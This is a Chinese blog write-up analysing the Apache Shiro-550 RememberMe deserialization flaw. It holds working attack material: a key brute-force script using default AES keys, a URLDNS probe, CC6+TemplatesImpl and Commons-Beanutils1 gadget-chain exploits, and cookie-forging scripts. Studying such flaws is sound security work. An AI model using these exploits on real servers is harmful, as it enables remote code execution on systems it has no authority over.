Shiro550反序列化漏洞分析
介绍
Apache Shiro 是一个开源安全框架,提供身份验证、授权、密码学和会话管理。
Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
环境搭建
这里用的P神给的环境 :https://github.com/phith0n/JavaThings/tree/master/shirodemo
- JDK 8u65
- Tomcat 9
- Shiro 1.2.4
- Commons Collection 3.2.1
漏洞分析
Shiro 1.2.4及之前的版本中,AES加密的密钥默认硬编码在代码里(SHIRO-550),Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。
加密分析
入口是在 AbstractRememberMeManager.onSuccessfulLogin
方法
判断 token 是否为 true,然后调用 rememberIdentity
:
看一下这个 getIdentityToRemember
:
大致就是获取用户名赋值给 principals
。
回到rememberIdentity
跟进this.rememberIdentity(subject, principals)
:
跟进 convertPrincipalsToBytes
看看:
先对用户名进行序列化处理,然后调用了个this.getCipherService()
方法是否有返回值,跟进查看:
返回了一种 AES 的加密方式CBC。
回到convertPrincipalsToBytes
方法,接着调用this.encrypt(bytes)
对序列化后的用户名进行加密操作,跟进:
这里同样是先用getCipherService
方法获取一个加密方式,如果不是空则用该加密方式调用encrypt
方法进行加密,AES加密是个对称加密需要密钥,所以这里用getEncryptionCipherKey
获取一个密钥,跟进看看:
看来是直接返回了这个密钥,由于我们知道这个漏洞就是因为密钥是硬编码写好的造成的,所以我们往回找找这个密钥是哪里赋值的。
找到这个AbstractRememberMeManager类初始化的时候会,调用setCipherKey
方法来设置密钥:
跟进setCipherKey
方法瞧一眼:
正如上面说的AES是对称加密,加密和解密的密钥是同一个,这里就是用传进来的密钥分别赋值给加密密钥和解密密钥,跟进setEncryptionCipherKey
:
这里就是直接赋值了(吐槽下,真套呀,不过还能看得懂,没套晕)
回到AbstractRememberMeManager类初始化的this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
这里,这里传入的静态变量DEFAULT_CIPHER_KEY_BYTES实在类定义里面写好的:
就是说这个 encryptionCipherKey
是 kPH+bIxk5D2deZiIxcaaaA==
的解密,是一个常量 就是说让用户名的序列化和一个常量进入 cipherService.encrypt
进行加密:
具体加密就不看了,不懂密码学。
总之对学列化后的用户名进行AES加密之后会返回字节到rememberIdentity
方法:
进入下一步的rememberSerializedIdentity
方法:
刚才都还是在AbstractRememberMeManager类里面调用,这时候就来到了CookieRememberMeManager类里面,看类名大概能猜到是处理cookie的了。
这里逻辑就是对传进来的字节进行base64加密,然后设置为名字为rememberMe的cookie值。
解密分析
现在我们从getRememberedIdentity
开始分析,文件位置 org/apache/shiro/mgt/DefaultSecurityManager.java
跟进到getRememberedPrincipals
:
继续跟到getRememberedSerializedIdentity
:
这里的逻辑是先获取cookie中rememberMe的值,然后判断是否是deleteMe,不是则判断是否是符合base64的编码长度,然后再对其进行base64解码,将解码结果返回。
返回 getRememberedPrincipals
方法,下一步跟进 convertBytesToPrincipals
方法:
可以看到就进行了两个操作 decrypt
和 deserialize
。解密就是和加密的逆过程,不多说,进入 deserialize
:
继续跟进套娃的deserialize
:
发现readObject
方法出现了,下面就可以愉快地进行反序列化了!
漏洞探测
指纹识别
在利用shiro漏洞时需要判断应用是否用到了shiro。在请求包的Cookie中为 rememberMe
字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe
字段,说明目标有使用Shiro框架,可以进一步测试。
AES密钥判断
前面说到 Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设 置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。 但是即使升级到了1.2.4以上的版本,很多开源的项目会自己设定密钥。可以收集密钥的集合,或者对密钥进行爆破。
那么如何判断密钥是否正确呢?文章一种另类的 shiro 检测方式提供了思路,当密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe
字段,而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe
字段。
因此我们需要构造payload排除类型转换错误,进而准确判断密钥。
shiro在1.4.2版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来,所以整个AES加解密过程的key就很重要了,正是因为AES使用Key泄漏导致反序列化的cookie可控,从而引发反序列化漏洞。在1.4.2版本后,shiro已经更换加密模式 AES-CBC为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。
这里给出大佬Veraxy的脚本:
import base64
import uuid
import requests
from Crypto.Cipher import AES
def encrypt_AES_GCM(msg, secretKey):
aesCipher = AES.new(secretKey, AES.MODE_GCM)
ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
return (ciphertext, aesCipher.nonce, authTag)
def encode_rememberme(target):
keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ=='] # 此处简单列举几个密钥
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
for key in keys:
try:
# CBC加密
encryptor = AES.new(base64.b64decode(key), mode, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
if res.headers.get("Set-Cookie") == None:
print("正确KEY :" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
# GCM加密
encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)
if res.headers.get("Set-Cookie") == None:
print("正确KEY:" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
print("正确key:" + key)
return key
except Exception as e:
print(e)
利用
在知道密钥之后就可以着手进行反序列化漏洞利用啦。
URLDNS链
通过漏洞原理可以知道,构造Payload需要将利用链通过AES加密后在base64编码。将Payload的值设置为rememberMe的cookie值,这里借助ysoserial中的URLDNS链去打,由于URLDNS不依赖于Commons Collections包,只需要JDK的包就行,所有一半用于检测是否存在漏洞。
有这列给出python的利用代码:
# -*-* coding:utf-8
# @Time : 2020/10/16 17:36
# @Author : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
popen = subprocess.Popen([r'D:\Program Files\Java\jdk1.8.0_301\bin\java.exe', '-jar', r'F:\CTF资料\CTF工具\ysoserial\target\ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
# 替换dnslog
payload = rememberme('http://dq6w3y.dnslog.cn')
print("rememberMe={}".format(payload.decode()))
将得到的payload用Burp传入rememberMe的cookie值中:
当存在 JSESSIONID 时,会忽略 rememberMe,所以在攻击时需要将 JSESSIONID 删掉
查看DNSLog记录:
CC6+TemplatesImpl链
但是仅仅是URLDNS是不够的,我们想要的是执行恶意代码,所以先引入Commons Collections 3.2.1 包来进行利用构造。
首先我们尝试用CC6链来构造payload:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fileNmae);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
innerMap.remove("keykey");
// System.out.println(outerMap.isEmpty());
// ==============
// 将真正的transformers数组设置进来
setFieldValue(transformerChain, "iTransformers", transformers);
serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}
保存生成的ser.bin序列化的文件,然后使用加密脚本进行加密:
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.nio.file.FileSystems;
import java.nio.file.Files;
public class Shiro550Client {
public static void main(String []args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("E:\\Coding\\Java\\VulTest\\CC\\ser.bin"));
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
将生成的payload发过去:
无事发生,查看服务端报错:
我们找到异常信息的倒数第一行,也就是这个类: org.apache.shiro.io.ClassResolvingObjectInputStream
。可以看到,这是一个 ObjectInputStream的子类,其重写了 resolveClass()
方法:
resolveClass
是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的 java.lang.Class
对象。
对比一下它的父类,也就是正常的 ObjectInputStream 类中的 resolveClass()
方法:
区别就是前者用的是 org.apache.shiro.util.ClassUtils#forName
(实际上内部用到了 org.apache.catalina.loader.ParallelWebappClassLoader#loadClass
),而后者用的是Java原生的 Class.forName
。
那么,我们在异常捕捉的位置下个断点,看看是哪个类触发了异常:
可见,出异常时加载的类名为 [Lorg.apache.commons.collections.Transformer;
。这个类名看起来怪,其实就是表示 org.apache.commons.collections.Transformer
的数组。
这里仅给出最后的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。
既然这里我们无法使用Transformer数组了,但是并不是就束手无策了,回顾一下CC链的调用图:
我们不难发现实际上CC4和CC2是没有用到Transformer数组的,但CC4依赖的是Commons Collections4这个包,当前环境无法使用这条链,拿还有啥方法呢?
我们可以尝试去改造CC6这条链的后半部分,在CC6链中,我们用到了一个类, TiedMapEntry
,其构造函数接受两个参数,参数1是一个Map,参数2是一个对象key。TiedMapEntry 类有个 getValue
方法,调用了map的get方法,并传入key:
public Object getValue() {
return map.get(key);
}
当这个map是LazyMap时,其get方法就是触发transform的关键点:
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
我们以往构造CommonsCollections Gadget的时候,对 LazyMap#get
方法的参数key是不关心的,因为通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化恶意对象。
但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇的发现,这个 LazyMap#get
的参数key,会被传进transform()
,实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。
我们LazyMap.get(key)
直接调用InvokerTransfomer.transform(key)
,然后像CC2那样调用TempalteImpl.newTransformer()
来完成后续调用。
整条利用链如图。
构造EXP:
首先还是创建 TemplatesImpl
对象:
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name", "aaaaa");
byte[] code = getTemplatesImpl("calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
然后我们创建一个用来调用newTransformer()
方法的InvokerTransformer
:
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
再把老的CommonsCollections6的代码复制过来,将原来TiedMapEntry
构造时的第二个参数key,改为前面创建的 TemplatesImpl
对象:
Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
Map expMap = new HashMap();
expMap.put(tiedMapEntry, "valuevalue");
lazyMap.remove(templates);
最后将lazyMap中假的Transformer
对象改回真正有用的invokerTransformer
对象:
setFieldValue(lazyMap, "factory", invokerTransformer);
最终EXP:
package Shiro;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Shiro550 {
public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fileNmae);
field.setAccessible(true);
field.set(obj,value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String []args) throws Exception {
//CC.CC3
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name", "aaaaa");
byte[] code = Files.readAllBytes(Paths.get("E:\\Coding\\Java\\VulTest\\CC\\target\\classes\\Shiro\\EvilTemplatesImpl.class"));
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
//CC.CC2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
//CC.CC6
Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
Map expMap = new HashMap();
expMap.put(tiedMapEntry, "valuevalue");
lazyMap.remove(templates);
setFieldValue(lazyMap, "factory", invokerTransformer);
serialize(expMap);
unserialize("ser.bin");
}
}
然后将生成的ser.bin序列化文件利用上面的加密脚本进行加密后发送过去,成功弹出计算器:
Commons-Beanutils1链
上面的CC6+TemplatesImpl链是依赖于Commmons Collections软件包的,如果项目中没有用到的话就无法实现代码执行,那有没有只用Shiro自己的类就能实现代码执行的链呢?答案是有的。这里用到了Apache Commons Beanutils包。
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。关于JavaBean的说明可以参考这篇文章。
简单的demo:
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;
public class Bean {
private String name = "cc";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
System.out.println(PropertyUtils.getProperty(new Bean(),"name"));
System.out.println("cc");
}
}
demo包含一个私有属性name,和读取和设置这个属性的两个方法,又称为getter和setter。其中,getter的方法名以get开头,setter的方法名以set开头,全名符合骆驼式命名法(Camel-Case)。
在commons-beanutils中提供了静态方法PropertyUtils.getProperty
,通过调用这个静态方法,可以直接调用任意JavaBean
中的getter
方法。
PropertyUtils.getProperty(new Bean(),"name");
此时,commons-beanutils会自动找到name属性的getter方法,也就是getName ,然后调用,获得返回值。
如何利用这个PropertyUtils.getProperty()
方法去构造我们的利用链呢?回顾CC链中没有用到Commons Collections包的部分,再次搬出这张图(最近这张图都要看魔怔了)
其中红框的部分就是没有用到Commons Collections包的部分,如此一来,CC3中的TemplatesImpl实现类加载任意代码执行是跑不掉的,所以我们要找找那里能调用TemplatesImpl.newTransformer()
方法,然后我们找到了TemplatesImpl.getOutputProperties()
:
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
它的内部调用了 newTransformer()
,而 getOutputProperties
这个名字,是以 get
开头,正符合getter的定义。
所以, PropertyUtils.getProperty( obj, property )
这段代码,当obj是一个 TemplatesImpl
对象,而 property
的值为 outputProperties
时,将会自动调用getter,也就是 TemplatesImpl.getOutputProperties()
方法,触发代码执行。
然后接着找那里能调用PropertyUtils.getProperty()
,我们找到的是commons-beanutils包中 org.apache.commons.beanutils.BeanComparator
的compare()
方法:
public int compare(Object o1, Object o2) {
if (this.property == null) {
return this.comparator.compare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.comparator.compare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}
这个方法传入两个对象,如果 this.property
为空,则直接比较这两个对象;如果 this.property
不为空,则用 PropertyUtils.getProperty
分别取这两个对象的 this.property 属性,比较属性的值。
这里熟悉CC链的的师傅就发现了,compare()
方法在CC4这条链的前半部分就能调用,我们只要把CC4中本来传进去优先队列PriorityQueue中的transformingComparator对象换成这里的BeanComparator对象,那么这条链就能够完整地接上了。看图!
下面就来写EXP:
- 首先还是创建TemplateImpl:
TemplatesImpl obj = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E:\\Coding\\Java\\VulTest\\CC\\target\\classes\\Shiro\\EvilTemplatesImpl.class"));
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
- 然后,实例化BeanComparator,BeanComparator 构造函数为空时,默认的 property 就是空:
final BeanComparator comparator = new BeanComparator();
- 然后用这个comparator实例化优先队列
PriorityQueue
:
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
我们添加了两个无害的可以比较的对象进队列中。BeanComparator.compare()
中,如果 this.property
为空,则直接比较这两个对象。这里实际上就是对两个 1
进行排序。初始化时使用正经对象,且 property 为空,这一系列操作是为了初始化的时候不要出错。
- 然后,我们再用反射将
property
的值设置成恶意的outputProperties
,将队列里的两个1
替换成恶意的TemplateImpl
对象:
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
最后完整的EXP:
package Shiro;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class Test {
public static void setFieldValue(Object obj, String fileName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fileName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E:\\Coding\\Java\\VulTest\\CC\\target\\classes\\Shiro\\EvilTemplatesImpl.class"));
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
serialize(queue);
unserialize("ser.bin");
}
}
将生成的ser.bin文件通过加密脚本加密:
import base64
from Crypto.Cipher import AES
with open(r"F:\code\java_file\ser\ser.bin","rb") as f:
byte_POC = f.read()
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(byte_POC)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
print("rememberMe={}".format(base64_ciphertext.decode()))
成功弹出计算器:
注意事项:
- Shiro版本问题
yso 中的链子打不通是因为 yso 中 cb 版本为 1.9,而 shiro 自带为 1.8.3
服务端会显示报错:
org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID
值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID
不同,则反序列化就会异常退出,避免后续的未知隐患。
- Commons Collections依赖问题
服务端报错:
Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]
简单来说就是没找到 org.apache.commons.collections.comparators.ComparableComparator
类,从包名即可看出,这个类是来自于commons-collections。
commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。
我们先来看看 org.apache.commons.collections.comparators.ComparableComparator
这个类在哪里使用了:
在 BeanComparator
类的构造函数处,当没有显式传入 Comparator 的情况下,则默认使用 ComparableComparator
。
既然此时没有 ComparableComparator
,我们需要找到一个类来替换,它满足下面这几个条件:
- 实现 java.util.Comparator 接口
- 实现 java.io.Serializable 接口
- Java、shiro或commons-beanutils自带,且兼容性强
通过IDEA的功能,我们找到一个 CaseInsensitiveComparator。这个 CaseInsensitiveComparator
类是 java.lang.String
类下的一个内部私有类,其实现了Comparator和
Serializable` ,且位于Java的核心代码中,兼容性强,是一个完美替代品。
我们通过 String.CASE_INSENSITIVE_ORDER
即可拿到上下文中的 CaseInsensitiveComparator
对象,用它来实例化 BeanComparator :
final BeanComparator comparator = new BeanComparator(null,
String.CASE_INSENSITIVE_ORDER);
最终EXP:
package Shiro;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class Test {
public static void setFieldValue(Object obj, String fileName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fileName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E:\\Coding\\Java\\VulTest\\CC\\target\\classes\\Shiro\\EvilTemplatesImpl.class"));
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
serialize(queue);
unserialize("ser.bin");
}
}